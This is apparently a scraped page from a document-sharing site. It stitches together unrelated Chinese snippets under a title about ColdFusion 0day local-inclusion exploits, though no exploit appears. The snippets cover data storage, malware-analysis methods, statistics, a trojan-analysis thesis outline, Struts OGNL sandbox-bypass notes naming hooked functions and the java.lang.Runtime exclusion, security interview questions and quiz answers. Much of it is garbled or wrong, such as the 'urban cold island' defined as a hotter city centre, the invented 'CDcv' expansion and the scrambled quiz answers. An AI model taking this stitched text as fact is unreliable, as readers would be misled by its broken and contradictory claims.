16_0day分析之COLDFUSION本地包含利用方法
cdcv方案
cdcv方案随着社会的不断发展和科技的快速进步，数字化已经成为了各个行业的发展必然趋势。
在这个数字化时代，如何有效地管理和保护企业的数据就显得尤为重要。
为了解决这一问题，CDcv方案应运而生。
一、CDcv方案的介绍CDcv方案，也就是冷热分离存储方案（Cold and Hot data Separation Solution），旨在通过对数据进行冷热分离存储，实现更高效的数据管理和保护。
该方案通过将不同访问频次的数据存储到不同的存储介质上，以提高数据的访问速度和运行效率。
二、CDcv方案的优势1. 简化数据管理CDcv方案可以将数据按照访问频次进行分类，将热数据（频繁访问的数据）存储在高速存储介质上，而将冷数据（较少访问的数据）存储在低速存储介质上。
这样一来，可以大幅简化对数据的管理和维护，提高数据管理的效率和准确性。
2. 提高数据访问速度由于CDcv方案将热数据存储在高速存储介质上，因此可以大幅提高热数据的读写速度，缩短数据访问的响应时间。
这对于需要实时处理和分析大量数据的企业来说，尤为重要。
3. 降低存储成本CDcv方案可以针对不同类型的数据选择合适的存储介质，使得存储成本得到降低。
对于冷数据，可以选择较低价格的存储介质，而对于热数据，则可以采用高速存储介质，以提高访问速度，同时也能够降低整体的存储成本。
4. 提高数据安全性通过CDcv方案，企业的关键数据可以被妥善地保护起来。
将热数据存储在高速存储介质上，不仅可以提高数据的访问速度，也可以更好地应对数据丢失的风险。
同时，可以将冷数据存储在低速存储介质上，以作为数据的备份和容灾，保障数据的安全性。
三、CDcv方案的应用场景1. 云存储服务提供商CDcv方案可以帮助云存储服务提供商更好地管理和保护用户的数据。
通过将用户的热数据存储在高速存储介质上，可以提高数据的读写速度，提升用户体验。
同时，将冷数据存储在低速存储介质上，可以降低存储成本，提高服务商的盈利能力。
恶意样本分析手册——常用方法篇
恶意样本分析⼿册——常⽤⽅法篇⼀、⽂件识别常见的可执⾏程序格式有PE，ELF，MACH-O等，不同的格式有不同的标志信息(参考理论篇)，知道了⽬标⽂件的格式后才能确定对应的分析⽅法和分析⼯具。
可以使⽤16进制解析器载⼊可执⾏程序，然后查看是哪种类型的⽂件。
图：PE⽂件格式图：ELF⽂件格式⼀般⼆进制⽂件的前四个字节为⽂件格式的magic，可以通过从⽹络搜索获得⽂件的信息，或者使⽤相关的⼯具(PEID，file)等进⾏⾃动识别。
⼆、静态分析静态分析技术通常是研究恶意代码的第⼀步。
静态分析指的是分析程序指令与结构来确定⽬标程序的功能的过程。
在这个时候，病毒本⾝并不在运⾏状态。
我们⼀般采⽤以下⼏种⽅式进⾏静态分析：1. 采⽤反病毒引擎扫描如果尚不确定⽬标程序是否为病毒程序，我们可以⾸先采⽤多个不同的反病毒软件来扫描⼀下这个⽂件，看是否有哪个引擎能够识别它。
(、 )注意：只能通过MD5值查询，不允许将样本进⾏上传。
图：VitusTotal检测结果界⾯2. 计算哈希值哈希是⼀种⽤来唯⼀标识⽬标程序的常⽤⽅法。
⽬标程序通过⼀个哈希算法，会产⽣出⼀段唯⼀的⽤于标识这个样本的哈希值，我们可以将这个值理解为是⽬标程序的指纹。
常⽤的哈希算法有MD5、Sha-1以及CRC32等。
由于仅仅采⽤⼀种算法，特别是MD5算法，有可能使得不同程序产⽣同样的哈希结果，所以⼀般会运⽤多种哈希验证⽂件的唯⼀性。
图：计算⽂件校验码3. 查找字符串程序中的字符串就是⼀串可打印的字符序列，⼀个程序通常都会包含⼀些字符串，⽐如打印输出信息、连接的URL，或者是程序所调⽤的API函数等。
从字符串中进⾏搜索是获取程序功能提⽰的⼀种简单⽅法。
(在IDA和OD中都可以查找字符串)并不是所有的字符串都是有意义的，但是利⽤这个结果，也能够给我们的静态分析带来很⼤的便利了。
图：查看字符串信息4. 查找导⼊函数如果软件被加壳的话，那么导⼊表中的函数会很少，所以可以从这⾥判断⽂件是否被加壳。
流行病学研究中的生存分析方法
流行病学研究中的生存分析方法生存分析是一种用于评估人群中事件发生时间的统计方法，广泛应用于流行病学研究中。
通过生存分析，可以研究个体在某一特定事件（如死亡、疾病复发等）发生前的生存时间，并探究与生存时间相关的预测因素。
生存分析的核心是生存函数（survival function）和风险函数（hazard function）。
生存函数描述了在某一给定时间点，个体尚未发生事件的概率；而风险函数则反映了个体在某一时刻发生事件的概率密度。
生存分析的常用方法包括卡普兰-迈尔法（Kaplan-Meier method）、考克斯比例风险模型（Cox proportional hazards model）等。
1. 卡普兰-迈尔法（Kaplan-Meier method）卡普兰-迈尔法是一种用于分析生存数据的非参数方法。
它通过估计生存函数，不依赖于任何分布假设。
该方法适用于疾病发生率稀少且存在部分失访数据的情况。
卡普兰-迈尔法的基本思想是根据样本中发生事件的个体数和存活个体数的比例，估计出在给定时间点发生事件的概率。
通过绘制生存曲线，可以观察到不同处理组或不同危险因素类别之间的生存差异。
2. 考克斯比例风险模型（Cox proportional hazards model）考克斯比例风险模型是一种常用的生存分析方法，适用于研究多个预测因素对生存时间的影响。
它基于考克斯比例风险假设，假定预测因素的影响是线性的、可加的，并且不随时间而变化。
该模型可以通过估计风险比（hazard ratio）来比较不同预测因素水平之间的生存差异。
风险比大于1表示高水平的预测因素与事件发生的风险增加有关，风险比小于1表示高水平的预测因素与事件发生的风险降低有关。
除了卡普兰-迈尔法和考克斯比例风险模型，流行病学研究中还存在其他生存分析方法，如加速失效时间模型（accelerated failure time model）、多状态模型（multistate model）等。
【毕业论文】恶意代码分析实例
【毕业论文】恶意代码分析实例恶意代码实例分析2011 年 5 月1目录1虚拟环境及所用软件介绍 (1)1.1虚拟环境介绍 ..................................................................... (1)1.1.1 Vmware Workstation7.1.4 .................................................................. (1)1.1.2 Gost XP SP3 装机版YN9.9................................................................... .. 11.2 检查软件介绍 ..................................................................... .. (1)1.2.1 ATool1.0.1.0 ................................................................ .. (1)1.2.2 Regmon 7.04 汉化版...................................................................... . (1)1.2.3 FileMon 7.04 汉化版 ..................................................................... .. (2)1.2.4 TCPView3.04.................................................................... .. (2)1.2.5procexp.exe ............................................................ . (2)1.2.6 IceSword 1.22 中文版 ..................................................................... (2)2 木马冰河分析与检测 ......................................................................32.1 木马冰河V2.2介绍 ..................................................................... ....................... 3 2.2 样本分析 ..................................................................... (3)2.2.1 进程监测 ..................................................................... .. (3)2.2.2 文件监测 ..................................................................... .. (3)2.2.3 注册表监测...................................................................... . (4)2.2.4系统通信端口监测 ..................................................................... ................ 5 2.3 样本外部特征总结 ..................................................................... ......................... 5 2.4 木马清除方法 ..................................................................... .. (5)3 xueranwyt.exe木马分析与监测 (7)3.1 木马xueranwyt.exe介绍...................................................................... .............. 7 3.2 样本分析 ..................................................................... (7)3.2.1进程监测 ..................................................................... (7)3.2.2 文件监测 ..................................................................... .. (7)3.2.3 注册表监控...................................................................... . (8)3.2.4 端口监测 ..................................................................... ............................. 8 3.3 样本外部特征总结 ..................................................................... ......................... 8 3.4 解决方案 ..................................................................... (9)4 2.exe木马分析与监测 (10)4.1 木马样本2.exe介绍...................................................................... ................... 10 4.2 样本分析 ..................................................................... . (10)4.2.1 进程监控 ..................................................................... (10)4.2.2 文件监控 ..................................................................... (10)4.2.3 注册表监控...................................................................... .. (11)4.2.4 端口检测 ..................................................................... ........................... 11 4.3 样本外部特征总结 ..................................................................... ....................... 12 4.4 解决方案 ..................................................................... . (12)25 红蜘蛛样本分析与检测 (13)5.1 样本介绍 ..................................................................... ..................................... 13 5.2 样本分析 ..................................................................... . (13)5.2.1 进程检测 ..................................................................... (13)5.2.2 文件检测 ..................................................................... (13)5.2.3 注册表监控...................................................................... .. (14)5.2.4 端口监控 ..................................................................... ........................... 14 5.3 样本外部特征总结 ..................................................................... ....................... 14 5.4 解决方案 ..................................................................... . (15)6 031gangsir.ch.exe样本分析 (16)6.1 样本介绍 ..................................................................... ..................................... 16 6.2 样本分析 ..................................................................... . (16)6.2.1 进程监控 ..................................................................... (16)6.2.2 文件监控 ..................................................................... (16)6.2.3 注册表监控...................................................................... .. (17)6.2.4 端口监控 ..................................................................... ........................... 17 6.3 样本特征总结 ..................................................................... .............................. 17 6.4 解决方案 ..................................................................... . (18)7 .exe样本监测与分析 (19)7.1 样本简介 ..................................................................... ..................................... 19 7.2 样本分析 ..................................................................... . (19)7.2.1 进程监控 ..................................................................... (19)7.2.2 文件监控 ..................................................................... (19)7.2.3 注册表监控...................................................................... .. (20)7.2.4 端口监控 ..................................................................... ........................... 20 7.3 样本外部特征总结 ..................................................................... ....................... 20 7.4 解决方案 ..................................................................... . (21)8 .exe样本监测与分析 (22)8.1 样本信息介绍 ..................................................................... .............................. 22 8.2 样本分析 ..................................................................... . (22)8.2.1进程监控 ..................................................................... . (22)8.2.2 文件监控 ..................................................................... (22)8.2.3 注册表监控...................................................................... .. (22)8.2.4 端口监控 ..................................................................... ........................... 23 8.3 样本外部特征总结 ..................................................................... ....................... 23 8.4解决方案 ..................................................................... .. (24)9 .exe样本分析与监测 (25)9.1 样本简介 ..................................................................... ..................................... 25 9.2 样本分析 ..................................................................... . (25)39.2.1 进程监控 ..................................................................... (25)9.2.2 文件监控 ..................................................................... (25)9.2.3 注册表监控...................................................................... .. (26)9.2.4 端口监控 ..................................................................... ........................... 26 9.3 样本外部特征总结 ..................................................................... ....................... 26 9.4 解决方案 ..................................................................... . (26)10 ................................................................. (27)10.1 样本简介 ..................................................................... ................................... 27 10.2 样本分析 ..................................................................... .. (27)10.2.1 进程监控 ..................................................................... . (27)10.2.2 文件监控 ..................................................................... . (27)10.2.3 注册表监控...................................................................... (28)10.2.4 端口监控 ..................................................................... ......................... 28 10.3 样本外部特征总结 ..................................................................... ..................... 28 10.4 解决方案 ..................................................................... .. (29)11 NetThief12.9样本分析与检测 (30)11.1 样本简介 ..................................................................... ................................... 30 11.2 样本分析 ..................................................................... .. (30)11.2.1 进程监控 ..................................................................... . (30)11.2.2 文件监控 ..................................................................... . (30)11.2.3 注册表监控 ..................................................................... . (30)11.2.4 端口监控 ..................................................................... ......................... 31 11.3 样本外部特征总结 ..................................................................... ..................... 31 11.4 解决方案 ..................................................................... .. (31)41虚拟环境及所用软件介绍1.1虚拟环境介绍1.1.1 Vmware Workstation 7.1.4恶意代码具有很强的破坏性和传播性，为了系统的安全，所以实例的分析均在虚拟机下进行。
动态分析方法和实例
动态分析方法和实例动态分析方法是一种通过观察和分析系统在运行时的行为来寻找软件缺陷和漏洞的方法。
它通过执行程序或应用程序，并监视其输入、输出和系统状态的变化来确定潜在的软件问题。
动态分析方法通常用于软件测试或安全性评估，并可以帮助发现和修复潜在的错误和漏洞。
本文将介绍几种常见的动态分析方法以及它们的应用实例。
一、模糊测试（Fuzz Testing）模糊测试是一种常见的动态分析方法，它通过输入系统的随机或半随机数据来测试软件的容错性和鲁棒性。
模糊测试利用了软件对异常输入的处理方式通常不如对正常输入的处理方式那样健壮的特点。
模糊测试可以帮助发现输入验证错误、缓冲区溢出等常见的漏洞。
例如，Google的Tavis Ormandy使用模糊测试方法成功发现了多个广泛使用的软件中的安全漏洞。
二、动态符号执行（Dynamic Symbolic Execution）动态符号执行是一种基于约束求解的动态分析技术，它通过执行程序的路径来生成输入数据，以实现测试覆盖率的提高和漏洞的发现。
动态符号执行在执行过程中将程序的符号变量和输入数据进行符号化表示，并通过求解程序路径上的约束条件来生成新的输入数据。
动态符号执行可以帮助发现各种类型的漏洞，如空指针解引用、数组越界、不正确的函数返回等。
例如，Microsoft的SAGE系统使用动态符号执行方式成功发现了多个Windows操作系统中的漏洞。
运行时监控是一种动态分析方法，它通过监视程序在运行时的行为来检测潜在的错误和漏洞。
运行时监控可以通过记录函数调用、内存访问、系统调用等事件来构建程序的行为模型，并根据事先定义的规则或约定来判断程序的行为是否符合预期。
运行时监控可以帮助发现一些常见的错误，如内存泄漏、死锁等。
例如，Valgrind是一个著名的运行时监控工具，它可以发现内存错误、线程错误和死锁等问题。
四、漏洞挖掘（Vulnerability Discovery）漏洞挖掘是一种动态分析方法，它通过执行程序的特定部分来发现潜在的漏洞。
louvain modularity 算法
louvain modularity 算法Louvain潮流检测算法是一种用于社区检测的算法，用来发现大规模网络中的子图或社区结构。
它是基于模块性的方法，通过优化网络图的模块性函数来划分网络的社区。
Louvain算法的特点是具有高效性和可扩展性，可以处理包含数百万个节点和数十亿个边的网络。
Louvain算法的核心思想是将网络节点划分为不同的社区，目标是最大化网络图的模块性。
模块性是网络中节点与社区之间连接的相对密集程度的度量。
一个社区内部的联系应该比社区外部的联系更加密集和紧密。
Louvain算法通过局部优化来实现全局最优。
Louvain算法的步骤可以概括为两个阶段：第一个阶段是构建初始社区，第二个阶段是对初始社区进行合并。
在第一个阶段中，每个节点被视为一个单独的社区。
算法通过计算将每个节点移到相同社区所带来的模块性增益，选择将节点合并到相邻社区中。
具体而言，第一步是计算每个节点的模块性增益。
该增益是通过计算将节点移到相同社区所带来的模块性变化来定义的。
节点移动到与其邻居相同的社区会增加网络图的模块性。
计算每个节点的模块性增益可以使用以下公式：ΔQ = ∑[e_{in}(i) / (2*m) - (k_i / (2*m))^2]其中，ΔQ是模块性增益，e_{in}(i)是节点i与其社区中其他节点的内部连接数，m是网络图中边的总数，k_i是节点i的度数。
第二步是选择具有最大模块性增益的节点进行合并。
这意味着将节点移动到相邻社区可以最大化网络图的模块性。
合并节点后，计算新社区的模块性增益，并继续迭代这个过程直到没有模块性增益。
在第二阶段中，将第一阶段中形成的社区作为单个节点进行合并。
合并后，重新计算每个新社区的模块性增益，并选择具有最大增益的新社区进行合并。
这样，逐步合并社区，直到没有模块性增益为止。
Louvain算法的优势在于其高效性和可扩展性。
它可以处理包含数百万个节点和数十亿个边的大规模网络。
ooda循环模型以及风险评估流程
OODA循环模型是美国空军军事理论家约翰·博因德提出的一种战术决策模型，可以应用于各种领域的决策和操作中。
OODA循环模型的每个字母代表了一种战术行动：观察(Observe)、定位(Orient)、决策(Decide)和行动(Act)。
在风险评估流程中，OODA循环模型可以帮助分析和应对各种风险和挑战，提高决策效率和准确性。
1. 观察(Observe)观察是指对环境和情况进行全面、及时的实时监控和数据收集。
在风险评估流程中，观察阶段的关键是收集有关潜在风险因素的信息和数据。
这些数据可以包括市场变化、竞争动态、客户需求、政策法规等方面的信息。
通过对这些数据的观察和分析，可以及时发现潜在的风险因素，为后续的决策和应对做好准备。
2. 定位(Orient)定位阶段是对观察到的信息进行分析和整合，形成对当前情况的客观理解和认知。
在风险评估流程中，定位阶段的关键是对观察到的风险因素进行评估和分类，并确定其对组织或项目的潜在影响和可能的发展趋势。
通过对风险因素的定位和分析，可以为后续的决策提供客观、准确的基础。
3. 决策(Decide)决策阶段是在对风险因素有了清晰的认识和理解后，制定相应的对策和计划。
在风险评估流程中，决策阶段的关键是根据定位阶段的分析结果，确定应对风险的具体措施和方法。
这可能包括调整经营策略、改变产品定位、加强内部控制、寻求外部合作等方面。
决策阶段的目标是选择出最适合的对策，以应对潜在风险带来的影响。
4. 行动(Act)行动阶段是在确定了相应的对策和计划后，及时、有序地执行和落实。
在风险评估流程中，行动阶段的关键是全面、有序地推进决策方案的实施。
这可能包括对组织内部的流程和规范进行调整、加强对各项决策方案的监督和执行、提高组织的应变能力等方面。
通过有效的行动和执行，可以最大程度地减少潜在风险可能带来的影响。
总结OODA循环模型和风险评估流程有着紧密的通联，可以相互辅助和提升。
通过观察、定位、决策和行动这一循环过程，可以全面、系统地应对各种风险和挑战，提高组织的决策效率和应变能力。
网络安全工程师题库
网络安全工程师题库1. 什么是DDoS攻击？DDoS攻击指的是分布式拒绝服务攻击，攻击者通过控制大量的主机向目标服务器发送大量的请求，使得目标服务器资源被消耗殆尽，从而无法正常服务其他用户。
2. 请说明网络钓鱼的工作原理。
网络钓鱼是一种通过伪装成合法实体的诈骗方式，攻击者通常通过电子邮件、社交媒体或其他形式向受害者发送虚假信息，诱使其点击恶意链接或提供敏感信息。
攻击者利用受害者的不知情，从而获取他们的个人信息、账户信息或控制其设备。
3. 解释一下什么是零日漏洞。
零日漏洞是指在软件或系统中存在的未被公开知晓或修复的漏洞。
攻击者可以利用这些漏洞进行攻击，并且由于相关方尚未意识到漏洞的存在，因此无法采取措施防御。
4. 请描述一下DMZ（Demilitarized Zone）的作用。
DMZ是一个位于内外网络之间的区域，用于隔离公共网络和受保护网络。
通过在DMZ上放置防火墙和其他安全设备，可以减少来自外部网络的攻击对内部网络的影响，并提供一层额外的安全保护。
5. 请解释一下什么是入侵检测系统（IDS）和入侵防御系统（IPS）。
入侵检测系统（IDS）是一种监测网络流量和系统活动的安全设备，用于检测潜在的攻击行为。
IDS通过分析网络传输过程中的异常行为，发出警报提示系统管理人员存在安全威胁。
入侵防御系统（IPS）是在IDS的基础上进一步加强了网络安全的设备。
IPS不仅能够检测到潜在的攻击行为，还能够主动采取措施来防御和阻止这些攻击，以保护网络安全。
6. 请解释一下什么是单点故障。
单点故障指的是系统中存在的一个组件或设备，如果它发生故障或遭到攻击，将导致整个系统无法正常工作。
在网络安全中，单点故障可能指的是某个关键服务器、网络设备或安全系统无法正常运行，从而导致整个网络面临威胁。
7. 请解释一下什么是强制访问控制（MAC）和自主访问控制（DAC）。
强制访问控制（MAC）是一种安全模型和访问控制方法，其中访问权限是由系统管理员或安全策略定义的，用户无法更改或修改这些权限。
基于遥感数据建立城市冷岛现象数值模型及调控
基于遥感数据建立城市冷岛现象数值模型及调控城市冷岛现象是指城市中心地区温度较周边农田或乡村地区高出较大幅度的现象。
这是由于城市的人工活动、建筑物密度增加、覆盖度加大、热量积聚和辐射增加导致的。
城市冷岛现象对城市生态环境和人们的生活质量产生了严重的影响。
因此，基于遥感数据建立城市冷岛现象的数值模型以及调控具有重要的现实意义。
建立城市冷岛现象的数值模型是研究和预测城市冷岛现象的重要手段。
遥感数据是基于卫星、航空器等遥感平台获取的数据，能够提供大尺度和高空间分辨率的地表信息，对于研究城市冷岛现象具有独特优势。
基于遥感数据建立城市冷岛现象的数值模型主要包括以下几个步骤：首先，通过遥感数据获取城市热岛效应的相关信息。
城市热岛效应是城市冷岛现象的一个重要组成部分，通过遥感数据可以获取城市表面温度、建筑物覆盖密度、土地利用类型等信息。
这些数据可以反映城市中心地区的热量积聚和辐射增加程度。
其次，通过遥感数据获取城市环境因素的相关信息。
城市环境因素是影响城市冷岛现象的重要因素，包括植被覆盖度、水体分布、道路网络等。
利用遥感数据可以获取这些环境因素的空间分布，并结合城市热岛效应的相关信息进行分析。
然后，建立数值模型来模拟城市冷岛现象的空间分布。
数值模型可以通过建立城市冷岛指数、温度差异分布等指标来表示城市冷岛现象的程度和空间变化。
利用遥感数据所获取的城市热岛效应和环境因素信息，结合气象数据和地理环境数据，可以建立城市冷岛现象的数值模型。
最后，利用模型进行城市冷岛现象的调控。
基于建立的数值模型，可以预测城市冷岛现象的空间分布和变化趋势，从而制定相应的调控策略。
例如，通过增加绿地覆盖率和水体分布来调控城市冷岛现象，减少城市表面温度的升高。
在实际应用中，基于遥感数据的城市冷岛现象数值模型及调控可以用于城市规划、建设项目评估和生态环境保护等方面。
通过准确分析和预测城市冷岛现象的空间分布，可以优化城市设计和布局，提高城市的生态环境质量。
lod技术以及使用步骤
lod技术以及使用步骤LOD技术以及使用步骤引言：Linked Open Data（LOD）技术是一种用于连接和共享数据的方法，通过在互联网上公开发布和链接数据集，使得不同数据集之间可以相互关联和查询。
本文将介绍LOD技术的基本概念和使用步骤。
一、LOD技术的基本概念1. RDF（Resource Description Framework）：RDF是LOD技术的核心标准，用于描述资源之间的关系。
RDF使用三元组（主语、谓语、宾语）来表示信息，其中主语和宾语可以是资源的URI （Uniform Resource Identifier）。
2. SPARQL（SPARQL Protocol and RDF Query Language）：SPARQL是一种查询语言，用于在RDF数据集上进行查询。
SPARQL查询可以根据资源的属性和关系进行过滤和匹配，从而获得所需的数据。
二、LOD技术的使用步骤1. 确定数据集：首先，需要确定要使用的数据集。
LOD技术的核心在于链接不同的数据集，因此需要选择与自己的需求相关的数据集，这些数据集应该具有公开的URI，以便在互联网上进行访问。
2. 理解数据结构：在使用LOD技术之前，需要先理解所选择数据集的结构和含义。
可以通过查看数据集的文档或使用相关工具来了解数据集中的资源、属性和关系。
3. 数据获取：获取数据集的方法可以通过下载或API访问。
如果数据集提供了下载选项，可以直接下载相应的RDF文件。
如果数据集提供了API，可以使用SPARQL查询获取所需的数据。
4. 数据转换：在将数据集导入到自己的应用程序或系统之前，可能需要进行数据转换。
可以使用RDF转换工具，如OpenRefine或Jena，将数据转换为自己需要的格式和结构。
5. 数据存储：将数据导入到自己的应用程序或系统中，可以选择使用RDF数据库或图数据库来存储和管理数据。
常用的RDF数据库包括Virtuoso和Fuseki，而常用的图数据库包括Neo4j和GraphDB。
如何使用网络流量分析技术检测零日漏洞(十)
网络流量分析技术在当今信息安全领域扮演着至关重要的角色。
随着互联网的快速发展和普及，各种类型的恶意活动也不断涌现。
其中，零日漏洞成为黑客攻击的利器，给网络系统带来巨大威胁。
本文将探讨如何利用网络流量分析技术检测零日漏洞，以提高网络安全水平。
一、零日漏洞的定义和威胁首先，我们需要了解零日漏洞的概念和特点。
零日漏洞，即“zero-day vulnerability”，指的是还未被软件供应商发现或修补的安全漏洞。
这些漏洞给黑客攻击者提供了进入系统的大门，因为软件供应商甚至系统管理员在漏洞被发现前都对其毫无防备。
由于零日漏洞尚未被官方认定和公布，攻击者有充足的时间进行攻击，并能成功规避常规安全设备和防护措施。
因此，针对零日漏洞的攻击往往效果显著，而且很难被发现和防范。
二、网络流量分析技术的基本原理在介绍网络流量分析技术的具体应用前，有必要了解其基本原理。
网络流量分析技术通过收集、记录和分析网络上的数据流量，帮助识别异常活动或不寻常的数据包传输。
这些分析基于大量数据的统计和比对，以识别可能存在的威胁或异常行为。
网络流量分析技术根据数据包的源地址、目的地址、端口信息、协议等多个维度进行分析和分类，从而检测出潜在的攻击行为。
常用的流量分析工具包括Wireshark、TCPDump和Snort等。
三、利用网络流量分析技术检测零日漏洞针对零日漏洞的攻击难以被传统的安全设备和防御措施所阻挡，因此网络流量分析技术成为监测和识别这类攻击的有效方法。
以下是几种常见的利用网络流量分析技术检测零日漏洞的方法：1. 数据包分析：通过对数据包的深入分析，可以发现零日漏洞攻击所产生的特殊数据包。
例如，攻击者可能利用零日漏洞发送异常大小的数据包或带有特殊标记的数据包。
通过识别和分析这些异常数据包，可以尽早发现潜在的零日漏洞攻击。
2. 流量行为分析：网络流量分析技术不仅可以识别特定的数据包，还可以对整个流量行为进行统计和分析。
通过比较正常流量行为和异常流量行为的差异，可以发现可能的零日漏洞攻击。
ColdFusion 初级培训教材
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Ｃｏｌｄ Ｆｕｓｉｏｎ 速成课程
Ｕｎｉｔ １：课程总揽
全部课程为期三天。 学员要求： l 熟悉 Ｗｅｂ 技术 l 理解 Ｗｅｂ 服务器特性 l 熟悉 ＨＴＭＬ 及句法 l 熟悉 ＳＱＬ 语言，包括 ｉｎｓｅｒｔ，ｓｅｌｅｃｔ，ｕｐｄａｔｅ，ｄｅｌｅｔｅ 等 课程内容为： l 建立 Ｃｏｌｄ Ｆｕｓｉｏｎ 开发环境 l 使用 Ｃｏｌｄ Ｆｕｓｉｏｎ Ｓｔｕｄｉｏ l 使用 Ｃｏｌｄ Ｆｕｓｉｏｎ ｔａｇｓ 发布动态信息 l 常用源代码重复利用 l 使用 Ｃｏｌｄ Ｆｕｓｉｏｎ 建立表单 l 建立检索界面 l 建立用户菜单界面 l 接受用户信息，对数据库更新 l 加入 ＪａｖａＳｃｒｉｐｔ 在客户端检验数据有效性 l 界面安全性 课程结束后，您将能够： l 建立、管理 Ｃｏｌｄ Ｆｕｓｉｏｎ 开发环境 l 使用 ＣＦＭＬ 存储、输出数据 l 定义 ＯＤＢＣＤｒｉｖｅｒ，与数据库连接 l 建立查询语句，动态发布、添加、更改信息 l 加入 ＪａｖａＳｃｒｉｐｔ，在客户端验证数据有效性 l 在应用中使用本地、Ｃｏｏｋｉｅ 及其他变量 l 创建交互性的数据库 Ｗｅｂ 应用
ColdFusion 初级培训教材
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５． 出错处理：当 Ｃｏｌｄ Ｆｕｓｉｏｎ 不能找到模板文件中指定的变量时，他提供详细的错 误信息和原因。 ６． 输入合法性检查：在输入表格中用一隐含域实现输入合法性检查。一些标准的合 法性检查是数据类型、范围等。 ７． 可扩展性：利用 ＣＦＭＬ、Ｃ＼Ｃ＋＋、ＣＯＭ、ＣＯＲＢＡ、ＪａｖａＳｃｒｉｐｔ、ＶＢＳｃｒｉｐｔ 建立自己的 部件和标识。通过＜ＣＦＸ＿ＸＸＸ＞调入页中。 ８． 多种数据源：本身带有 Ｏｒａｃｌｅ 和 Ｓｙｂａｓｅ 的连接驱动，可以和任何 ＯＤＢＣ 兼容的 数据库连接，通过 ＯＬＥ－ＤＢ 与 Ｅｘｃｈａｎｇｅ、 Ｌｏｔｕｓ Ｎｏｔｅｓ 等连接。 ９． 全文索引：利用内嵌的 Ｖｅｒｉｔｙ Ｓｅａｒｃｈ ９７ 全文索引非结构化的数据、标准文本及 桌面文件。 １０． 源代码重用：可将经常使用的代码保存为 ＣＦＭＬ 模块或 ＣＦＸ ，日后重复应用于其 他应用和界面中。 １１． Ｅｍａｉｌ：数据库输出不仅能送至 Ｗｅｂ 浏览器，还能作为 ｅｍａｉｌ 发给客户。 １２． Ｃｏｏｋｉｅｓ：提供一种途径，可在客户端存储信息以做将来检索用。 １３． 与协议的结合性：支持多种网络协议，如 ＦＴＰ、ＨＴＴＰ、ＭＡＩＬ、ＰＯＰ、ＬＤＡＰ。 这里介绍的 Ｃｏｌｄ Ｆｕｓｉｏｎ 特性，有的没有经过自己亲自使用理解会不深刻，如果在学 完了这三天的课程，经过了亲自动手的练习，有了一端时间的开发经验后再反过来看这些 特性，体会会更加深刻的。
WEB框架0day漏洞的发掘及分析经验分享-郑国祥
WEB应用安全和数据库安全的领航者
框架漏洞静态分析
方式: 源代码审计
工具:eclipse
分析内容：框架流程分析
WEB应用安全和数据库安全的领航者
框架流程分析
http请求映射到 Controller的过程
WEB应用安全和数据库安全的领航者
ognl限制绕过
WEB应用安全和数据库安全的领航者
ognl限制绕过
查找 securitymemberAccess 修改接口
查找修改接口 的参数实现类
查找可获取的 方法
灰盒拦截技术
利用java的agent技术对敏感函 数进行hook。
如果一些敏感函数被调用之后 则记录下来.
• 比如: ProcessBuilder,OgnlRuntime, FileWriter, FileOutputStream, 等
• 包括请求包，函数调用流程， 函数返回包。
ognl限制绕过
未限制:
限制:
对象属性赋值 (OgnlContext, Action…)
实例类的方法 的调用
无法new一个 对象
无法调用敏感 类的方法
限制反射
struts.excludedClas ses:ng.Objec t,ng.Runtime, ng.System...
框架漏洞动态分析－agent优势
需要获取源代码， 对人员的安全专 业知识要求高 白盒 误报率高
逻辑顺序关联的 问题无法测试
黑盒
依靠回显的方式才能判定，需要有明显的差异，漏报率比 较高
灰盒
无需知道源码，代码流程跟踪，准确率高
WEB应用安全和数据库安全的领航者
struts.excludedPac kageNames: ng.,ognl,javax
大数据分析工具的使用方法总结
大数据分析工具的使用方法总结在当今数字化时代，大数据已经成为各行各业中非常重要的资源。
大数据分析工具的出现让人们能够更好地利用这些数据，从中发现隐藏的模式和趋势，提供更准确的商业洞察和战略决策支持。
本文将总结常见的大数据分析工具，并介绍它们的使用方法和功能。
1. HadoopHadoop是大数据处理的领军工具之一。
它是一个开源的分布式系统平台，可处理大量数据，并通过将任务分解成小块分布在多个节点上进行并行处理。
Hadoop的核心组件包括HDFS（Hadoop分布式文件系统）和MapReduce。
使用Hadoop进行大数据分析，首先需要将数据存储在HDFS上，然后编写适当的MapReduce程序以处理数据。
2. SparkSpark是一个快速而通用的大数据处理引擎。
与Hadoop相比，Spark具有更高的性能和更多的功能。
Spark支持多种编程语言，例如Java、Scala和Python，使其更易于使用和扩展。
使用Spark进行大数据分析的方法包括使用Spark SQL进行结构化查询、使用Spark Streaming处理实时数据、使用MLlib进行机器学习和使用图计算引擎GraphX进行图分析。
3. TableauTableau是一款流行的数据可视化工具，它可以与多种数据源集成，包括关系型数据库、NoSQL数据库和大数据平台。
Tableau提供了丰富的图表和图形选项，用户可以通过拖放操作创建自定义的仪表盘和报表。
使用Tableau进行大数据分析，用户可以将数据导入Tableau的工作簿中，使用内置的分析功能和数据挖掘技术，发现数据中的趋势和关系，并生成可视化报告。
4. Python和RPython和R是两种常用的编程语言，也是数据科学和统计分析领域中使用最广泛的工具。
它们都有丰富的数据处理和分析库，如Python的Pandas和Numpy，以及R的dplyr和ggplot2。
使用Python和R进行大数据分析的方法包括数据清洗和准备、数据探索和可视化、统计分析和机器学习建模。
2016当代科学技术新知识读本(一)试题答案
D 、厂 D 、厂植物源农药一般分为（ 光活化毒素类 答案:A 、 生物碱类 ABCDE下列哪些选项是伦敦烟雾 的直接原因？（）。
答案：ABC分布式文件系统 HDFS 主要 由哪些功能模块构成？ （）。
B 、 A、萜烯类 客户端模块二氧化硫B、黄酮类 厂B 、元数据管理模块D、 精油类 E 、 光活化毒素类 答案: ABCDE 植物源农药一般分为（ A 、 生物碱类 B 、 萜烯类 黄酮类 精油类E、粉尘C、C、 臭氧D、 二氧化碳答案：AB下列哪些区域是我国霾污 染频发的区域？（京津冀区域B、 长三角地区c、 珠三角地区D、 青藏高原数据存储服务模块D、数据划分模块答案:ABC下列选项中哪个属于NoSQL 数据库？（ ABD ）。
A、BigTableB、Hbasec、OracleMo ngoDB答案:厂 B 、ABD CAP 理论认为一个分布式系 统不可能同时很好地满足 三个特性，最多只能满足其 中的两个，这三个特性分别 是什么？（）。
厂D 、c、 A 、 一致性 B 、 可用性分区容忍性 D 、 原子性 答案： ABC 下列选项中，关于大数据与 隐私保护的关系描述不正 确的是（）。
